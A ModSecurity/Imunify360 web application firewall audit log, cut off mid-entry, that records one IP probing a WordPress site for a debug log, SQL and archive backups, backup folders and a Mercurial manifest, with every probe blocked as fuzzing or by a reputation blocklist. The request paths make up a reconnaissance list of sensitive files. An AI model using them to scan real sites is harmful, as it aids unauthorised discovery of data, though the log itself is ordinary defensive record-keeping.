Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/.hg/store/00manifest.i"] [unique_id "aqYgLGM7dE9KgIIOpQhgmAAAANY"]
Action: Intercepted (phase 2)
Stopwatch: 1789272108230455 55370 (- - -)
Stopwatch2: 1789272108230455 55370; combined=53757, p1=410, p2=53030, p3=0, p4=0, p5=316, sr=207, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2573e45d-Z--

--a1ce0827-A--
[13/Sep/2026:07:01:55.068316 +0300] aqYgM0wu1RSkptiiNIXvIAAAAJg 169.40.142.172 42638 127.0.0.1 7081
--a1ce0827-B--
GET /wp-content/debug.log HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--a1ce0827-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a1ce0827-H--
Message: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/wp-content/debug.log" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/debug.log||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqYgM0wu1RSkptiiNIXvIAAAAJg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/debug.log"] [unique_id "aqYgM0wu1RSkptiiNIXvIAAAAJg"]
Action: Intercepted (phase 2)
Stopwatch: 1789272115011593 56777 (- - -)
Stopwatch2: 1789272115011593 56777; combined=55484, p1=227, p2=54962, p3=0, p4=0, p5=295, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a1ce0827-Z--

--028e9c6f-A--
[13/Sep/2026:07:02:10.173635 +0300] aqYgQmM7dE9KgIIOpQhgnwAAANA 169.40.142.172 36534 127.0.0.1 7081
--028e9c6f-B--
GET /backup.sql HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--028e9c6f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--028e9c6f-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqYgQmM7dE9KgIIOpQhgnwAAANA"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql"] [unique_id "aqYgQmM7dE9KgIIOpQhgnwAAANA"]
Action: Intercepted (phase 2)
Stopwatch: 1789272130114049 59641 (- - -)
Stopwatch2: 1789272130114049 59641; combined=57739, p1=204, p2=57245, p3=0, p4=0, p5=290, sr=90, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--028e9c6f-Z--

--15f4bc56-A--
[13/Sep/2026:07:02:12.970980 +0300] aqYgRGM7dE9KgIIOpQhgoAAAAM8 169.40.142.172 36540 127.0.0.1 7081
--15f4bc56-B--
GET /backup.sql.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--15f4bc56-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--15f4bc56-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.sql.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqYgRGM7dE9KgIIOpQhgoAAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.sql.gz"] [unique_id "aqYgRGM7dE9KgIIOpQhgoAAAAM8"]
Action: Intercepted (phase 2)
Stopwatch: 1789272132914548 56484 (- - -)
Stopwatch2: 1789272132914548 56484; combined=55164, p1=302, p2=54490, p3=0, p4=0, p5=372, sr=135, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--15f4bc56-Z--

--ae7c997c-A--
[13/Sep/2026:07:02:13.456476 +0300] aqYgRWM7dE9KgIIOpQhgoQAAAMY 169.40.142.172 36542 127.0.0.1 7081
--ae7c997c-B--
GET /backup.zip HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--ae7c997c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ae7c997c-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.zip||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqYgRWM7dE9KgIIOpQhgoQAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.zip"] [unique_id "aqYgRWM7dE9KgIIOpQhgoQAAAMY"]
Action: Intercepted (phase 2)
Stopwatch: 1789272133395172 61345 (- - -)
Stopwatch2: 1789272133395172 61345; combined=59782, p1=294, p2=59207, p3=0, p4=0, p5=281, sr=144, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ae7c997c-Z--

--3ec8cc22-A--
[13/Sep/2026:07:02:14.614937 +0300] aqYgRmM7dE9KgIIOpQhgogAAAMk 169.40.142.172 36552 127.0.0.1 7081
--3ec8cc22-B--
GET /backup.tar.gz HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--3ec8cc22-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--3ec8cc22-H--
Message: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/backup." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/backup.tar.gz||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqYgRmM7dE9KgIIOpQhgogAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/backup.tar.gz"] [unique_id "aqYgRmM7dE9KgIIOpQhgogAAAMk"]
Action: Intercepted (phase 2)
Stopwatch: 1789272134558454 56531 (- - -)
Stopwatch2: 1789272134558454 56531; combined=54716, p1=490, p2=53890, p3=0, p4=0, p5=335, sr=155, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3ec8cc22-Z--

--19cbf54c-A--
[13/Sep/2026:07:02:21.277669 +0300] aqYgTWM7dE9KgIIOpQhgpQAAANc 169.40.142.172 41590 127.0.0.1 7081
--19cbf54c-B--
GET /wp-content/uploads/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--19cbf54c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--19cbf54c-E--

--19cbf54c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_autoindex.c"] [line 2329] [level 3] AH01276: Cannot serve directory /var/www/vhosts/axapres.ro/httpdocs/wp-content/uploads/: No matching DirectoryIndex (index.php,index.html,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
Apache-Handler: httpd/unix-directory
Stopwatch: 1789272141270339 7396 (- - -)
Stopwatch2: 1789272141270339 7396; combined=4914, p1=377, p2=4151, p3=74, p4=7, p5=305, sr=182, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--19cbf54c-Z--

--7bc96216-A--
[13/Sep/2026:07:02:23.001344 +0300] aqYgTmM7dE9KgIIOpQhgpgAAAME 169.40.142.172 41598 127.0.0.1 7081
--7bc96216-B--
GET /wp-content/backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--7bc96216-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7bc96216-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqYgTmM7dE9KgIIOpQhgpgAAAME"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/backups/"] [unique_id "aqYgTmM7dE9KgIIOpQhgpgAAAME"]
Action: Intercepted (phase 2)
Stopwatch: 1789272142940164 61231 (- - -)
Stopwatch2: 1789272142940164 61231; combined=59817, p1=322, p2=59167, p3=0, p4=0, p5=327, sr=148, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7bc96216-Z--

--7c943b46-A--
[13/Sep/2026:07:02:27.569656 +0300] aqYgU0wu1RSkptiiNIXvJQAAAIc 169.40.142.172 52124 127.0.0.1 7081
--7c943b46-B--
GET /wp-content/ai1wm-backups/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*

--7c943b46-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--7c943b46-H--
Message: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "backups/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-content/ai1wm-backups/||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqYgU0wu1RSkptiiNIXvJQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-02.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-content/ai1wm-backups/"] [unique_id "aqYgU0wu1RSkptiiNIXvJQAAAIc"]
Action: Intercepted (phase 2)
Stopwatch: 1789272147504193 65530 (- - -)
Stopwatch2: 1789272147504193 65530; combined=61932, p1=267, p2=61305, p3=0, p4=0, p5=359, sr=129, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7c943b46-Z--

--02a75c08-A--
[13/Sep/2026:07:08:40.130415 +0300] aqYhyDTJ6xTvcJoem7f2QAAAAEc 151.243.174.13 58948 127.0.0.1 7081
--02a75c08-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.13
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--02a75c08-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--02a75c08-E--

--02a75c08-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272520121574 8962 (- - -)
Stopwatch2: 1789272520121574 8962; combined=4547, p1=224, p2=3849, p3=95, p4=8, p5=370, sr=99, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--02a75c08-Z--

--96663c32-A--
[13/Sep/2026:07:08:40.642115 +0300] aqYhyEwu1RSkptiiNIXvRwAAAIU 95.134.102.121 58970 127.0.0.1 7081
--96663c32-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.121
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--96663c32-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--96663c32-E--

--96663c32-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272520636491 5662 (- - -)
Stopwatch2: 1789272520636491 5662; combined=4225, p1=280, p2=3621, p3=68, p4=6, p5=249, sr=124, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--96663c32-Z--

--e17e7602-A--
[13/Sep/2026:07:08:41.082457 +0300] aqYhyWM7dE9KgIIOpQhg5AAAANg 151.243.174.132 58986 127.0.0.1 7081
--e17e7602-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.132
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--e17e7602-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e17e7602-E--

--e17e7602-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789272521075176 7331 (- - -)
Stopwatch2: 1789272521075176 7331; combined=5402, p1=273, p2=4773, p3=79, p4=8, p5=269, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e17e7602-Z--

--5ece7841-A--
[13/Sep/2026:07:08:50.619691 +0300] aqYh0kwu1RSkptiiNIXvSQAAAIc 46.203.158.51 47924 127.0.0.1 7081
--5ece7841-B--
